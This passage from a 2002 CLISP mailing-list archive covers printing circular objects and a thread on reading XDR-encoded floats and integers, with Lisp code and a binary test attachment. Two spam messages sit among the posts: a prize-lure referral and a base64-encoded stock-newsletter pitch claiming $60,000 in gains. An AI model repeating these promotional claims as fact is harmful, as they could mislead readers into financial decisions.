table)) > > *** - Lisp stack overflow. RESET : * You will always get a stack overflow when you try to print a circular object (list or structure) and *PRINT-CIRCLE* is NIL. Just set *PRINT-CIRCLE* to T. > I'm not subscribing to this list, so I would appreciate any > feedback.If my email doesn't appear reach me at: you can read this list on gmane.org. note that not everyone on this list will honor such a request. -- Sam Steingold (http://www.podval.org/~sds) running RedHat8 GNU/Linux Those who value Life above Freedom are destined to lose both. From mwittry@karlchevrolet.com Wed Dec 18 19:57:15 2002 Received: from itchy.recommend-it.com ([199.173.21.160]) by sc8-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18OroA-00084a-00 for ; Wed, 18 Dec 2002 19:57:14 -0800 Received: (qmail 20512 invoked from network); 19 Dec 2002 03:57:13 -0000 Received: from unknown (HELO itchy.recommend-it.com) (192.168.1.20) by 192.168.1.20 with SMTP; 19 Dec 2002 03:57:13 -0000 From: mwittry@karlchevrolet.com Reply-To: mwittry@karlchevrolet.com To: clisp-list@lists.sourceforge.net Message-Id: Subject: [clisp-list] Message from A Friend Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Dec 18 19:58:02 2002 X-Original-Date: Wed, 18 Dec 2002 19:57:14 -0800 I just visited Alchemestry and thought that you might want to check it out as well. You can visit the website by clicking http://www.ric1.com/c.e?23353721C40D6691 Here's a description of what the website is all about: Check it out!. If you visit the site and use its Recommend- It(R) feature to tell your friends you will be entered to win $10,000. * Get free newsletters on the topics that interest you! * Click http://www.ric1.com/go.e?113003&s=878225 to sign up ------------------------------------------- Powered by the FREE Recommend-It(r) Service http://www.recommend-it.com/go.e?291107 From mata58@hotmail.com Thu Dec 19 08:31:04 2002 Received: from [203.152.52.3] (helo=hotmail.com) by sc8-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18P3Za-0006rR-00 for ; Thu, 19 Dec 2002 08:31:00 -0800 Received: from q4.quickslow.com ([166.44.114.159]) by n7.groups.huyahoo.com with smtp; 19 Dec 2002 11:33:48 +0900 Received: from [196.20.57.173] by mta21.bigpong.com with smtp; Thu, 19 Dec 2002 20:31:21 -0900 Received: from mta21.bigpong.com ([67.133.90.53]) by mail.gimmixx.net with SMTP; 19 Dec 2002 11:28:54 -0400 Received: from unknown (48.148.23.125) by mail.gimmixx.net with asmtp; 19 Dec 2002 07:26:27 +0900 Reply-To: Message-ID: <013b51e23a0b$4826b0a4$1ee35ae1@wlhaoa> From: To: MiME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_00B3_62C42B3A.A0127B57" X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: AOL 7.0 for Windows US sub 118 Importance: Normal Subject: [clisp-list] Been losing money in the market? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Dec 19 08:32:10 2002 X-Original-Date: Thu, 19 Dec 2002 04:05:32 +1200 ------=_NextPart_000_00B3_62C42B3A.A0127B57 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: base64 VHJhZGVycy4uDQoNCkJ1bGwgTWFya2V0PyAgIEJlYXIgTWFya2V0IEJvdW5j ZT8gIENhbG0gYmVmb3JlIHRoZSBTdG9ybSAoQ3Jhc2gpPyAgQnV5IGFuZCBI b2xkPyAgRGF5IFRyYWRlPyAgU3dpbmcgVHJhZGU/IFNlY3RvciBSb3RhdGU/ ICBBc3NldCBBbGxvY2F0ZT8gIERvdWJsZSBCb3R0b20/IERvdWJsZSBEaXAg UmVjZXNzaW9uPyAgSW5mbGF0aW9uPyAgRGVmbGF0aW9uPyAgUmVjb3Zlcnk/ ICBEZXByZXNzaW9uPyAgU3RvY2hhc3RpY3M/ICBNb3ZpbmcgQXZlcmFnZXM/ ICBNQUNEPyBCb2xsaW5nZXIgQmFuZHM/IExldmVsIDIgUXVvdGVzPyAgRUNO J3M/IEVhcm5pbmdzPyAgV2FybmluZ3M/ICBTY2FuZGFscz8gIEFycmVzdHM/ ICBXYXI/IFBlYWNlPyANCg0KICAgICBIb3cgYXJlIHlvdSBzdXBwb3NlZCB0 byBrbm93IHdoYXQgdG8gZG8gd2l0aCB5b3VyIG1vbmV5IGlmIHlvdSBkb24n dCBrbm93IHdoYXQgdGhlIHdvcmRzIG1lYW4gYW5kIGhvdyB0aGV5IGFyZSBi ZWluZyB1c2VkIHRvIG1pc2xlYWQgeW91IGRvd24gdGhlIHdyb25nIHBhdGgs IHdoaWxlIHRoZSAnaW5zaWRlcnMnIGdvIGRvd24gYSBkaWZmZXJlbnQgcGF0 aD8NCg0KICAgICAgVGhlIFdhdmVUcmFja2VyIERhaWx5IE1hcmtldCBMZXR0 ZXIgaXMgZGVzaWduZWQgZm9yIHRob3NlIHRoYXQgcHJlZmVyICdzd2luZycg dHJhZGluZyB3aXRoIHRoZSB0aW1lIGZyYW1lIG9mIDIgZGF5cyB0byAyIG1v bnRocy4gUmVsZWFzZWQgNCBob3VycyBiZWZvcmUgVVMgbWFya2V0cyBvcGVu IGVhY2ggdHJhZGluZyBkYXksIHRoaXMgc2VydmljZSBwcm92aWRlcyBhbmFs eXNpcyBhbmQgY29tbWVudGFyeSBvZiB3aGVyZSBtYWpvciBtYXJrZXRzIChE b3csIFNQWCwgTkRYLCBDT01QLCBYQVUpIGhhdmUgYmVlbiBhbmQgYXJlIGdv aW5nLCB1c2luZyBFbGxpb3R0IFdhdmUgYW5kIEZpYm9uYWNjaSBUaGVvcmll cy4gIFdlIHVzZSBhIHByb3ByaWV0YXJ5IGRlY2lzaW9uLXN1cHBvcnQtbW9k ZWwgdG8gaWRlbnRpZnkgaGlnaC1jb25maWRlbnQgbG9uZyBhbmQgc2hvcnQg b3Bwb3J0dW5pdGllcyB3aXRoIHRhcmdldCBwcmljZXMgZm9yIHdoZW4gd2Un cmUgcmlnaHQsIGFzIHdlbGwgYXMgc3RvcCBsb3NzZXMgZm9yIHdoZW4gd2Un cmUgd3JvbmcsIHdoaWNoIGlzbid0IHRvbyBvZnRlbi4gVGhlIHBvcnRmb2xp byBzZWN0aW9uIHRyYWNrcyBldmVyeSBzZWxlY3Rpb24gZXZlciBtYWRlLCBh bGxvd2luZyB5b3UgdG8gc29ydCBieSBzdG9jayBzeW1ib2wsIG9wZW4vY2xv c2VkIHBvc2l0aW9ucywgbG9uZ3Mvc2hvcnRzLCBwcm9maXQvbG9zcywgYW5k IGRhdGUgaGlnaGxpZ2h0ZWQvZW50ZXJlZC5Mb25nIGFuZCBzaG9ydCBvcHBv cnR1bml0aWVzIGFyZSBoaWdobGlnaHRlZCBvbmx5IGFmdGVyIHRoZSBtYXJr ZXRzJyBwcm9iYWJsZSBwYXRocyBoYXZlIGJlZW4gZXhwbGFpbmVkLiBNYW55 IG9wcG9ydHVuaXRpZXMgcGVyIGRheSBhcmUgcHJlc2VudGVkIHVuZGVyIG91 ciByaWdpZCBkaXNjaXBsaW5lIHdpdGggdGFyZ2V0IGVudHJ5IHJhbmdlcywg ZXhpdCBsZXZlbHMsIGFuZCBzdG9wIGxvc3Mgc3VnZ2VzdGlvbnMuIFRoaXMg cHJvZHVjdCBhbGxvd3MgdGhvc2Ugbm90IGFibGUgdG8gYmUgaW4gZnJvbnQg b2YgYSBjb21wdXRlciBhbGwgZGF5IGxvbmcgdG8gYmVuZWZpdCBmcm9tIG91 ciBzeXN0ZW0gb2Ygcmlzay1tYW5hZ2VkIGVudHJpZXMgYW5kIGV4aXRzLCB1 c2luZyBvdXIgODAlIHRocmVzaG9sZCBvbiBvdXIgY29tcG9zaXRlIGRlY2lz aW9uIG1vZGVsLg0KDQogICAgICBIb3cgaGF2ZSB3ZSBkb25lPw0KSWYgZXZl cnkgcGljayB3YXMgZm9sbG93ZWQgc2luY2UgaW5jZXB0aW9uIG9uIE1heSAx IHVudGlsIERlY2VtYmVyIDEsIDIwMDIsIHdpdGggMTAwIHNoYXJlcyBlYWNo LCBhZnRlciB0YWtpbmcgaW4gdG8gYWNjb3VudCB0aGUgbG9zaW5nIHBpY2tz IHRoYXQgd2VyZSBzdG9wcGVkIG91dCwgdGhlIHBvcnRmb2xpbyBpcyBhaGVh ZCBvdmVyIDYwMCBwb2ludHMsIG9yICQ2MCwwMDAsIG5vdCBpbmNsdWRpbmcg Y29tbWlzc2lvbnMuIE9idmlvdXNseSwgcGFzdCByZXN1bHRzIGhhdmUgbm8g cHJlZGljdGl2ZSBhYmlsaXR5IG9uIGZ1dHVyZSBwZXJmb3JtYW5jZS4gQ29t ZSBzZWUgZm9yIHlvdXJzZWxmIGFuZCBzaWduIHVwIGZvciBhIGZyZWUgdHJp YWwgYnkgY2xpY2tpbmcgb24gdGhlIFNJR04gVVAgbGluay4NCg0KICAgICAg SG93IGNhbiB5b3UgbGVhcm4gd2hhdCB3ZSBkbyBhbmQgaG93IHRvIGRvIGl0 IHlvdXJzZWxmPw0KDQpPbmNlIHlvdSBhcmUgcmVnaXN0ZXJlZCB3aXRoIG91 ciBzaXRlLCB5b3UgY2FuIGNsaWNrIG9uIHRoZSBUUkFESU5HIFRPT0xTIGJ1 dHRvbiBhbmQgZmluZCBvdXQgYWJvdXQgb3VyIFdhdmVDaGF0IGxpdmUtbWFy a2V0IHRyYWRpbmcgZGVzay9jaGF0cm9vbSwgVHJhZGluZyBWaWRlbyBDb3Vy c2UsIEJlc3QgQnV5cywgYW5kIHNvbWUgb2Ygb3VyIG90aGVyIGZhdm9yaXRl IHRvb2xzLiANCg0KVGhlIFRSQUlOSU5HIGJ1dHRvbiB3aWxsIHRha2UgeW91 IHRvIGluZm9ybWF0aW9uIG9uIG91ciBUcmFkaW5nIEFjY2VsZXJhdGlvbiBj b3Vyc2UsIFdlZWtlbmQgV2F2ZSBXb25kZXIgV29ya3Nob3BzIChXNCksIFBy aXZhdGUgQ29hY2hpbmcgc2Vzc2lvbnMsIGFuZCBvdGhlciBTcGVjaWFsIE9m ZmVyaW5ncyBmcm9tIHRpbWUgdG8gdGltZS4NCg0KaHR0cDovL3d3dy5ob3Qu ZWUvdHd3cw0KDQpPdXIgTUlTU0lPTiAtIHRvIHVzZSBvdXIgZXhwZXJpZW5j ZSBhbmQgdGVjaG5pcXVlcyB0byB1bmNvdmVyIHRoZSBzZWNyZXRzIG9mIHRo ZSBnYW1lIGFuZCBsZXZlbCB0aGUgcGxheWluZyBmaWVsZCBzbyBldmVyeW9u ZSBoYXMgYW4gZXF1YWwgY2hhbmNlIGF0IHN1Y2Nlc3MuDQoNClNpZ24gdXAg RlJFRSBmb3IgMiB3ZWVrcyBzdGFydGluZyBub3chIGh0dHA6Ly93d3cuaG90 LmVlL3R3d3MgLSBGb3IgeW91ciBjb21wbGV0ZWx5IEZyZWUgVHJpYWwNCg0K SWYgeW91IGxpa2UgdGhlIHByb2ZpdHMsIHRoZW4gc2lnbiB1cCBhZnRlciB0 aGUgZnJlZSBUcmlhbCAtIElmIHlvdSBkb24ndCB0aGVuIGhhdmUgdGhlIEZy ZWUgVHJpYWwgd2l0aCBvdXIgQ29tcGxpbWVudHMuIE5vIGhhcmQgZmVlbGlu Z3MuDQoNClRyeSB1cyBvdXQgLSBpdCdzIGZyZWUgISBodHRwOi8vd3d3Lmhv dC5lZS90d3dzDQoNCmVybW0uLi4gRGlkIEkgc2F5IGl0J3MgRlJFRSA/IFRy eSB1cyBmb3IgZnJlZSBub3csIHdpdGggb3VyIENvbXBsaW1lbnRzDQoNClBT IFJlYWQgd2hhdCBvdXIgQ2xpZW50cyBheSBhYm91dCB1cyAtIGp1c3QgcmVh ZCBvdXIgVGVzdGltb25pYWxzIQ0KDQoNCg0KDQoNCg0KDQpUaGlzIGVtYWls IHdhcyBzZW50IHRvIHlvdSBiZWNhdXNlIHlvdXIgZW1haWwgYWRkcmVzcyBp cyBwYXJ0IG9mIGEgdGFyZ2V0ZWQgb3B0LWluIGxpc3QuWW91IGhhdmUgcmVj ZWl2ZWQgdGhpcyBlbWFpbCBieSBlaXRoZXIgcmVxdWVzdGluZyBtb3JlIGlu Zm9ybWF0aW9uIG9uIG9uZSBvZiBvdXIgc2l0ZXMgb3Igc29tZW9uZSBtYXkg aGF2ZSB1c2VkIHlvdXIgZW1haWwgYWRkcmVzcy4gSWYgeW91IHJlY2VpdmVk IHRoaXMgZW1haWwgaW4gZXJyb3IsIHBsZWFzZSBhY2NlcHQgb3VyIGFwb2xv Z2llcy4gSWYgeW91IGRvIG5vdCB3aXNoIHRvIHJlY2VpdmUgZnVydGhlciBv ZmZlcnMsIHBsZWFzZSBjbGljayBiZWxvdyBhbmQgZW50ZXIgeW91ciBlbWFp bCB0byByZW1vdmUgeW91ciBlbWFpbCBmcm9tIGZ1dHVyZSBvZmZlcnMuIA0K DQpQbGVhc2Ugc2VuZCBhIGJsYW5rIGVtYWlsIHRvOiByZW1vdmVAY2VudHJh bG1haWxlci5jb20NCg0KNzEwMUJ2ZFkxLTU1N2ZQRXQwMTI4VldmSmwyNCAN Cg0K From Bernard.Urban@meteo.fr Thu Dec 19 10:01:41 2002 Received: from cadillac.meteo.fr ([137.129.1.4]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18P4y0-0006Ua-00 for ; Thu, 19 Dec 2002 10:00:16 -0800 Received: from merceron.meteo.fr (localhost.meteo.fr [127.0.0.1]) by cadillac.meteo.fr (8.9.3 (PHNE_22672)/8.9.3) with ESMTP id RAA06153; Thu, 19 Dec 2002 17:59:51 GMT To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] read-integer, read-float, write-integer and write-float bug + more References: <87vg1zifse.fsf@merceron.meteo.fr> <87r8cni545.fsf@merceron.meteo.fr> From: Bernard Urban In-Reply-To: Message-ID: <87znr1vqi2.fsf@merceron.meteo.fr> Lines: 76 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="=-=-=" Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Dec 19 10:02:03 2002 X-Original-Date: 19 Dec 2002 18:59:49 +0100 --=-=-= Sam Steingold writes: > > * In message <87r8cni545.fsf@merceron.meteo.fr> > > * On the subject of "Re: [clisp-list] read-integer, read-float, write-integer and write-float bug + more" > > * Sent on 12 Dec 2002 17:17:30 +0100 > > * Honorable Bernard Urban writes: > > > > > how do I create a file like that? > > > > I found the problem by using an XDR file generated by the Right Thing > > (namely a rpcgen generated program). > > could you please give some more examples for the regression test? > right now I have > > (let ((vec (make-array 8 :element-type '(unsigned-byte 8) > :initial-contents '(#x3f #xf0 0 0 0 0 0 0)))) > (with-open-file (foo "./foocl" :direction :output > :element-type '(unsigned-byte 8)) > (write-sequence vec foo)) > (prog1 > (with-open-file (foo "./foocl" :direction :input > :element-type '(unsigned-byte 8)) > (read-float foo 'double-float :big)) > (delete-file "./foocl"))) > > can you give me more binary representations of floats and integers in > various endiannesses? > Here is a simplified version of the data which started all this: --=-=-= Content-Type: application/octet-stream Content-Disposition: attachment; filename=test Content-Transfer-Encoding: base64 AAAHywAAAAQAAAALAAAADAAAAAY/8AAAAAAAAD/wAAAAAAAAAAAAAAAAAAA/8AAAAAAAAAAAAAAA AAAVAAAAIgAAAEAAAAARAAAAQAAAAEAAAABAAAAAQAAAAEAAAABAAAAAQAAAAEAAAABAAAAAQAAA AEAAAABAAAAAQAAAAEAAAABAAAAAQAAAAEAAAAARAAAAFQAAABUAAAAVAAAAFQAAABUAAAAVAAAA FQAAABUAAAAVAAAAFQAAABUAAAAVAAAAFQAAABUAAAAVAAAAFQAAABUAAAARP/AAAAAAAAA/7+mV 5wQJoD/viiEnFLzAP+7fVRgFO6A/7erAJZ9/QD/srqm0V0ygP+suBP1oagA/6WxpSBxLwD/nbgkx 1pOgP+U3qJxIf4A/4s6RRpYsoD/gOIYoZrKAP9r3a1fG+OA/1T1Vzle94D/OoPfhnAlAP8J+DqcX 8iA/qLvISIzEgAAAABhA+LzQAAAAAAAAABgAAAAAAAAAAD+beKFfdkQAP6kVGOfrU8A/sRoFWFLx AD+0oWwJAA0AP7c1mYooMiA/uOtm38BS4D+5160N/n2AP7oPRRjXpMA/uacIBHb8oD+4s87U5yvA P7dKco4y2IA/tX/MNIU3YD+zaLTL3hTAP7EaBVhS8QA/rVEtu/KZID+oUoTB4wPAP6Nhwcp2uqA/ nVEtvAhNID+UoWwJFcDgP4oPRRjXpMA/e1zVWi+rQD9jHEO9BSEgAAAAAAAAAAAAAAAYAAAAAAAA AAAAAAAAAAAAAD+FiFkEnQCAP59WMo4zDkA/rl/f --=-=-= And lisp code to test the reading of this data: --=-=-= Content-Type: application/octet-stream Content-Disposition: attachment; filename=test.lsp (defstruct arpege an mois jour heure echeance sinlatpole coslonpole sinlonpole etire ityp tronc nlat nlon nlon_par_lat tronc_par_lat sinlat_par_lat nlev pref A) (defun xdr-read-double (xdr-stream) (ext:read-float xdr-stream 'double-float :big)) (defconstant twoto32nd 4294967296) (defmacro integer-from-bytes (byte0 byte1 byte2 byte3) "interprets these 32 bits as a signed integer" `(if (> ,byte0 127) (- (unsigned-from-bytes ,byte0 ,byte1 ,byte2 ,byte3) twoto32nd) (unsigned-from-bytes ,byte0 ,byte1 ,byte2 ,byte3))) (defmacro unsigned-from-bytes (byte0 byte1 byte2 byte3) "interprets these 32 bits as an unsigned integer" `(+ (ash ,byte0 24) (ash ,byte1 16) (ash ,byte2 8) ,byte3)) (defun xdr-read-integer (rpcstream) (let* ((c0 (read-byte rpcstream)) (c1 (read-byte rpcstream)) (c2 (read-byte rpcstream)) (c3 (read-byte rpcstream))) (integer-from-bytes c0 c1 c2 c3))) (defun xdr-read-unsigned (rpcstream) (let* ((c0 (read-byte rpcstream)) (c1 (read-byte rpcstream)) (c2 (read-byte rpcstream)) (c3 (read-byte rpcstream))) (unsigned-from-bytes c0 c1 c2 c3))) (defun read (xdr-stream) (make-arpege :an (xdr-read-integer xdr-stream) :mois (xdr-read-integer xdr-stream) :jour (xdr-read-integer xdr-stream) :heure (xdr-read-integer xdr-stream) :echeance (xdr-read-integer xdr-stream) :sinlatpole (xdr-read-double xdr-stream) :coslonpole (xdr-read-double xdr-stream) :sinlonpole (xdr-read-double xdr-stream) :etire (xdr-read-double xdr-stream) :ityp (xdr-read-integer xdr-stream) :tronc (xdr-read-integer xdr-stream) :nlat (xdr-read-integer xdr-stream) :nlon (xdr-read-integer xdr-stream) :nlon_par_lat (let* ((thecount (xdr-read-unsigned xdr-stream)) (thearray (make-array thecount :element-type '(signed-byte 32)))) (dotimes (i thecount thearray) (setf (aref thearray i) (xdr-read-integer xdr-stream)))) :tronc_par_lat (let* ((thecount (xdr-read-unsigned xdr-stream)) (thearray (make-array thecount :element-type '(signed-byte 32)))) (dotimes (i thecount thearray) (setf (aref thearray i) (xdr-read-integer xdr-stream)))) :sinlat_par_lat (let* ((thecount (xdr-read-unsigned xdr-stream)) (thearray (make-array thecount :element-type 'double-float))) (dotimes (i thecount thearray) (setf (aref thearray i) (xdr-read-double xdr-stream)))) :nlev (xdr-read-integer xdr-stream) :pref (xdr-read-double xdr-stream) :a (let* ((thecount (xdr-read-unsigned xdr-stream)) (thearray (make-array thecount :element-type 'double-float))) (dotimes (i thecount thearray) (setf (aref thearray i) (xdr-read-double xdr-stream)))) )) (setq fi (open "test" :direction :input :element-type 'unsigned-byte)) (setq lu (read fi)) ; lu should contain: ; #S(ARPEGE :AN 1995 :MOIS 4 :JOUR 11 :HEURE 12 :ECHEANCE 6 :SINLATPOLE 1.0d0 ; :COSLONPOLE 1.0d0 :SINLONPOLE 0.0d0 :ETIRE 1.0d0 :ITYP 0 :TRONC 21 :NLAT 34 ; :NLON 64 :NLON_PAR_LAT #(64 64 64 64 64 64 64 64 64 64 64 64 64 64 64 64 64) ; :TRONC_PAR_LAT #(21 21 21 21 21 21 21 21 21 21 21 21 21 21 21 21 21) ; :SINLAT_PAR_LAT ; #(1.0d0 0.9972638618494791d0 0.9856115115452653d0 0.9647622555875053d0 ; 0.9349060759377394d0 0.8963211557660493d0 0.8493676137325679d0 ; 0.7944837959679418d0 0.7321821187402868d0 0.6630442669302141d0 ; 0.5877157572407619d0 0.5068999089322261d0 0.4213512761306344d0 ; 0.33186860228212645d0 0.23928736225213676d0 0.14447196158279585d0 ; 0.048307665687738144d0) ; :NLEV 24 :PREF 101325.0d0 ; :A ; #(0.0d0 0.026827355815445486d0 0.048989084539847294d0 0.06680329710338029d0 ; 0.08058810443622022d0 0.09066161749814983d0 0.09734194719960554d0 ; 0.10094720451023953d0 0.10179550034048912d0 0.10020494565013616d0 ; 0.09649365136935639d0 0.09097972842832469d0 0.08398128778682468d0 ; 0.07581644036516177d0 0.06680329710338029d0 0.05725996894152474d0 ; 0.0475045668295091d0 0.037855201687638784d0 0.02862998447569709d0 ; 0.020147026113989663d0 0.01272443754256114d0 0.006680329711324984d0 ; 0.002332813550456461d0 0.0d0)) --=-=-= Alas, I have no example for little endian and single-float data. Notice that cmucl has not read-float, so I use the following, which could be taken as a reference: (defmacro to-double-float2 (x y bias mantisse expon modele) "Returns a float of type MODELE from 4-bytes unsigned X and Y seen as the bit pattern of a IEEE float with parameters BIAS, MANTISSE and EXPON." `(let ((f (ldb (byte ,(- mantisse 32) 0) ,x)) (e (ldb (byte ,expon ,(- mantisse 32)) ,x))) (declare (type (unsigned-byte ,(- mantisse 32)) f)) (declare (type (unsigned-byte ,expon) e)) (if (and (zerop f) (zerop ,y) (zerop e)) ,modele (scale-float (float (if (< ,(ash 1 (+ expon mantisse -32)) ,x) (- (+ ,y (ash (+ f ,(ash 1 (- mantisse 32))) 32))) (+ ,y (ash (+ f ,(ash 1 (- mantisse 32))) 32))) ,modele) (- e ,bias ,mantisse))))) (defmacro to-double-float (x y) `(to-double-float2 ,x ,y 1023 52 11 0d0)) (defun tcp-getdouble (rpcstream) (let* ((v1 (xdr-read-unsigned rpcstream)) (v2 (xdr-read-unsigned rpcstream))) (to-double-float v1 v2)) Notice that I cannot use read-integer, as it is requested to be '(unsigned-byte 8) or a multiple thereof. Any reason for this limitation ? Regards. -- Bernard Urban --=-=-=-- From Bernard.Urban@meteo.fr Thu Dec 19 10:16:01 2002 Received: from cadillac.meteo.fr ([137.129.1.4]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18P5DD-0002np-00 for ; Thu, 19 Dec 2002 10:15:59 -0800 Received: from merceron.meteo.fr (localhost.meteo.fr [127.0.0.1]) by cadillac.meteo.fr (8.9.3 (PHNE_22672)/8.9.3) with ESMTP id SAA07075 for ; Thu, 19 Dec 2002 18:15:48 GMT To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] read-integer, read-float, write-integer and write-float bug + more References: <87vg1zifse.fsf@merceron.meteo.fr> <87r8cni545.fsf@merceron.meteo.fr> <87znr1vqi2.fsf@merceron.meteo.fr> From: Bernard Urban In-Reply-To: <87znr1vqi2.fsf@merceron.meteo.fr> Message-ID: <87u1h9vprh.fsf@merceron.meteo.fr> Lines: 18 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="=-=-=" Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Dec 19 10:16:12 2002 X-Original-Date: 19 Dec 2002 19:15:46 +0100 --=-=-= Bernard Urban writes: > > Notice that I cannot use read-integer, as it is requested to be > '(unsigned-byte 8) or a multiple thereof. Any reason for this > limitation ? Ah yes, for 4 byte integer, you should use '(unsigned-byte 32) , not '(unsigned-byte 4), so it makes sense. And it works ok: --=-=-= Content-Type: application/octet-stream Content-Disposition: attachment; filename=test.lsp (defstruct arpege an mois jour heure echeance sinlatpole coslonpole sinlonpole etire ityp tronc nlat nlon nlon_par_lat tronc_par_lat sinlat_par_lat nlev pref A) (defun xdr-read-double (xdr-stream) (ext:read-float xdr-stream 'double-float :big)) (defconstant twoto32nd 4294967296) (defmacro integer-from-bytes (byte0 byte1 byte2 byte3) "interprets these 32 bits as a signed integer" `(if (> ,byte0 127) (- (unsigned-from-bytes ,byte0 ,byte1 ,byte2 ,byte3) twoto32nd) (unsigned-from-bytes ,byte0 ,byte1 ,byte2 ,byte3))) (defmacro unsigned-from-bytes (byte0 byte1 byte2 byte3) "interprets these 32 bits as an unsigned integer" `(+ (ash ,byte0 24) (ash ,byte1 16) (ash ,byte2 8) ,byte3)) (defun xdr-read-integer (rpcstream) (read-integer rpcstream '(signed-byte 32) :big)) ; (let* ((c0 (read-byte rpcstream)) ; (c1 (read-byte rpcstream)) ; (c2 (read-byte rpcstream)) ; (c3 (read-byte rpcstream))) ; (integer-from-bytes c0 c1 c2 c3))) (defun xdr-read-unsigned (rpcstream) (read-integer rpcstream '(unsigned-byte 32) :big)) ; (let* ((c0 (read-byte rpcstream)) ; (c1 (read-byte rpcstream)) ; (c2 (read-byte rpcstream)) ; (c3 (read-byte rpcstream))) ; (unsigned-from-bytes c0 c1 c2 c3))) (defun read (xdr-stream) (make-arpege :an (xdr-read-integer xdr-stream) :mois (xdr-read-integer xdr-stream) :jour (xdr-read-integer xdr-stream) :heure (xdr-read-integer xdr-stream) :echeance (xdr-read-integer xdr-stream) :sinlatpole (xdr-read-double xdr-stream) :coslonpole (xdr-read-double xdr-stream) :sinlonpole (xdr-read-double xdr-stream) :etire (xdr-read-double xdr-stream) :ityp (xdr-read-integer xdr-stream) :tronc (xdr-read-integer xdr-stream) :nlat (xdr-read-integer xdr-stream) :nlon (xdr-read-integer xdr-stream) :nlon_par_lat (let* ((thecount (xdr-read-unsigned xdr-stream)) (thearray (make-array thecount :element-type '(signed-byte 32)))) (dotimes (i thecount thearray) (setf (aref thearray i) (xdr-read-integer xdr-stream)))) :tronc_par_lat (let* ((thecount (xdr-read-unsigned xdr-stream)) (thearray (make-array thecount :element-type '(signed-byte 32)))) (dotimes (i thecount thearray) (setf (aref thearray i) (xdr-read-integer xdr-stream)))) :sinlat_par_lat (let* ((thecount (xdr-read-unsigned xdr-stream)) (thearray (make-array thecount :element-type 'double-float))) (dotimes (i thecount thearray) (setf (aref thearray i) (xdr-read-double xdr-stream)))) :nlev (xdr-read-integer xdr-stream) :pref (xdr-read-double xdr-stream) :a (let* ((thecount (xdr-read-unsigned xdr-stream)) (thearray (make-array thecount :element-type 'double-float))) (dotimes (i thecount thearray) (setf (aref thearray i) (xdr-read-double xdr-stream)))) )) (setq fi (open "test" :direction :input :element-type 'unsigned-byte)) (setq lu (read fi)) ; lu should contain: ; #S(ARPEGE :AN 1995 :MOIS 4 :JOUR 11 :HEURE 12 :ECHEANCE 6 :SINLATPOLE 1.0d0 ; :COSLONPOLE 1.0d0 :SINLONPOLE 0.0d0 :ETIRE 1.0d0 :ITYP 0 :TRONC 21 :NLAT 34 ; :NLON 64 :NLON_PAR_LAT #(64 64 64 64 64 64 64 64 64 64 64 64 64 64 64 64 64) ; :TRONC_PAR_LAT #(21 21 21 21 21 21 21 21 21 21 21 21 21 21 21 21 21) ; :SINLAT_PAR_LAT ; #(1.0d0 0.9972638618494791d0 0.9856115115452653d0 0.9647622555875053d0 ; 0.9349060759377394d0 0.8963211557660493d0 0.8493676137325679d0 ; 0.7944837959679418d0 0.7321821187402868d0 0.6630442669302141d0 ; 0.5877157572407619d0 0.5068999089322261d0 0.4213512761306344d0 ; 0.33186860228212645d0 0.23928736225213676d0 0.14447196158279585d0 ; 0.048307665687738144d0) ; :NLEV 24 :PREF 101325.0d0 ; :A ; #(0.0d0 0.026827355815445486d0 0.048989084539847294d0 0.06680329710338029d0 ; 0.08058810443622022d0 0.09066161749814983d0 0.09734194719960554d0 ; 0.10094720451023953d0 0.10179550034048912d0 0.10020494565013616d0 ; 0.09649365136935639d0 0.09097972842832469d0 0.08398128778682468d0 ; 0.07581644036516177d0 0.06680329710338029d0 0.05725996894152474d0 ; 0.0475045668295091d0 0.037855201687638784d0 0.02862998447569709d0 ; 0.020147026113989663d0 0.01272443754256114d0 0.006680329711324984d0 ; 0.002332813550456461d0 0.0d0)) --=-=-= Time for Christmas holydays... -- Bernard Urban --=-=-=-- From Bernard.Urban@meteo.fr Thu Dec 19 10:45:43 2002 Received: from cadillac.meteo.fr ([137.129.1.4]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18P5fw-0006tc-00 for ; Thu, 19 Dec 2002 10:45:40 -0800 Received: from merceron.meteo.fr (localhost.meteo.fr [127.0.0.1]) by cadillac.meteo.fr (8.9.3 (PHNE_22672)/8.9.3) with ESMTP id SAA08334 for ; Thu, 19 Dec 2002 18:45:25 GMT To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] read-integer, read-float, write-integer and write-float bug + more References: <87vg1zifse.fsf@merceron.meteo.fr> 